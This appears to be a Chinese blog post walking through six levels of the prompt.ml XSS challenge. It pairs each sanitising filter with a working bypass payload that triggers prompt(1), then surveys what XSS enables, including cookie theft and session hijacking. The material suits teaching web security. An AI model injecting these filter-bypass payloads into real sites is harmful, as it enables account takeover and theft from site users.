前言
前段时间在网上看到一个网址 http://prompt.ml/ , 好奇之下进去看了看. 胜利的条件是你录入一个串, 让其调用 prompt(1) . 发现里面有好多想不到的东西, 今天终于悠闲了来这里说说 XSS.
XSS 原理
跨站脚本攻击 (Cross Site Scripting), 为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆, 故将跨站脚本攻击缩写为 XSS. 恶意攻击者往 web 页面里插入恶意 Script 代码, 当用户浏览该页之时, 嵌入其中 Web 里面的 Script 代码会被执行, 从而达到恶意攻击用户的目的.
XSS 常见场景
一些私人的博客, 攻击者恶意评论, 弹出 alert, 这种充其量也就是一个玩笑. 但是如果是盗窃 cookie, 异常提交请求, 这些就比较难受了.
prompt(1)
Chrome 版本 62.0.3202.75(正式版本) (64 位)
- function escape(input) {
- // warm up
- // script should be executed without user interaction
- return '<input type="text"value="' + input + '">';
- }
第一个
这是一个开胃菜, 没有做任何校验, 这种不设防的在现在已经很少了. 他把值直接拼入字符串, 组成一个 DOM input 标签, 那我们只要正确的把标签闭合掉就可以调用了.
"><script>prompt(1)</script> , 拼出来的字符串为 < input type="text"value=""><script>prompt(1)</script>">, 这样就等于插入了我们的代码.
- function escape(input) {
- // tags stripping mechanism from ExtJS library
- // Ext.util.Format.stripTags
- var stripTagsRE = /<\/?[^>]+>/gi;
- input = input.replace(stripTagsRE, '');
- return '<article>' + input + '</article>';
- }
第二个
这个已经提升难度了,/<\/?[^>]+>/gi 匹配 <> 标签内的所有东西, 如输入 < script>prompt(1)</script > 转换过后会出现 prompt(1), 内容里面的标签被替换掉了. 所以这个我们去尝试不闭合标签, 让浏览器自己去容错.
<img src onerror="prompt(1);" 该方法通过 img 加载 src 失败会调用 onerror 的想法.
- function escape(input) {
- // v-- frowny face
- input = input.replace(/[=(]/g, '');
- // ok seriously, disallows equal signs and open parenthesis
- return input;
- }
第三个
这个就有点略坑了 /[=(]/g 把所以的 = 号和(号都替换掉了, 这样我们尝试调用的时候就不能使用这些东西了. 使用的方法是通过模板字符串的标签模板, 这个 ES6 的特性. <script>prompt`1`</script > 看样子我们这样写就可以了, 但是为什么没有生效呢? 下面的图可以看出来, 这样的话传入的是字符串, 判断是不通过的, 所以我们要修改一下 < script>prompt.call${1}</script> , 这样就可以跑过验证了.(话说 Markdown 如何在 `` 里面写 ``)
- function escape(input) {
- // filter potential comment end delimiters
- input = input.replace(/->/g, '_');
- // comment the input to avoid script execution
- return '<!--' + input + '-->';
- }
第四个
这个看上去是把你写的内容都放在了 html 的注释语句里面, 并且用 /->/g 替换了一把. 我想到的方案有条件注释, 但是条件注释这是 IE 的东西, 我们就先不测试了.
--!><img src onerror="prompt(1);" 使用这个可以关闭
- function escape(input) {
- // make sure the script belongs to own site
- // sample script: http://prompt.ml/js/test.js
- if (/^(?:https?:)?\/\/prompt\.ml\//i
- .test(decodeURIComponent(input))) {
- var script = document.createElement('script');
- script.src = input;
- return script.outerHTML;
- } else {
- return 'Invalid resource.';
- }
- }
第五个
这个是通过伪造 url, 我们使用的是访问带有用户名, 密码保护的 URL 来伪造.
http://prompt.ml/@urlurl 为一个网络地址引用的 JS, 内容为 prompt(1). 本来想尝试一下 data:text/HTML,<HTML><script>prompt(1)</script></HTML > 但是没有成功, 然后 JavaScript:; 和 about:blank 也没有通过, 挺失落.
- function escape(input) {
- // apply strict filter rules of level 0
- // filter ">" and event handlers
- input = input.replace(/>|on.+?=|focus/gi, '_');
- return '<input value="' + input + '"type="text">';
- }
第六个
/>|on.+?=|focus/gi 替换了>,onxxxx = 和 focus. 通过 input 特殊的 type 类型.
- `"type=image src onerror
- ="prompt(1)`
通过 xss 能做的事情
有很多, 绝大多数的网络攻击行为都是把 xss 作为漏洞链中的第一环. 通过 xss, 黑客可以得到的最直接的利益就是拿到用户浏览器 (或者一些类浏览器 App) 的 cookie. 由于目前 Web 系统中实现 session 的办法主要是 cookie, 所以一旦黑客拿到了用户的 cookie, 就可以劫持用户的 session, 从而变相达到盗取用户账号的目的.
xss 也使黑客可以以受害用户的 ip 地址向其他站点发起 Web 攻击, 因为一切的攻击脚本都可以借受害用户的浏览器执行.
以这样的方式, 将 xss 配合起 csrf,sql 注入等漏洞可以在短时间内对一个服务器发起大量攻击, 并且服务端无法将攻击 ip 封死, 因为 ip 是成百上千的 xss 受害者的 ip.
2015 年 GitHub 遭遇的大规模 DDOS, 实际上就是黑客以某种方式把而已脚本植入到 "熊场" 的广告联盟 iframe 中, 从而对 GitHub 的某些接口实施攻击, 最终达到 DDOS 的效果.
另外, 持久性 xss 的传播性极强, 由于 Web 的特点是轻量级, 灵活性高, 每个用户每天都可能访问很多 Web 站点, 每个 Web 站点每天都有成千上万的来访. 所以将 xss 攻击配合起一些系统内核级的漏洞, 完全可能在几个小时之内击垮几百万台智能设备.
如今的 xss
相比网上很多资料中, 在技术上已经发生了很大变化. 由于各大网站加强了对于 JS 脚本, HTML 标签等关键信息的过滤, 单纯依靠植入 JavaScript 代码很难实施攻击.
PC 端页面, 一些视频类, 页游网站存在大量的 flash 内嵌在页面中, 可以尝试将 flash 代码植入, 往往可以规避网站安全过滤. 移动端页面, 可以植入 native 代码(Android 系统植入 java,iOS 系统植入 oc).
总结
来源: https://www.jb51.net/article/130558.htm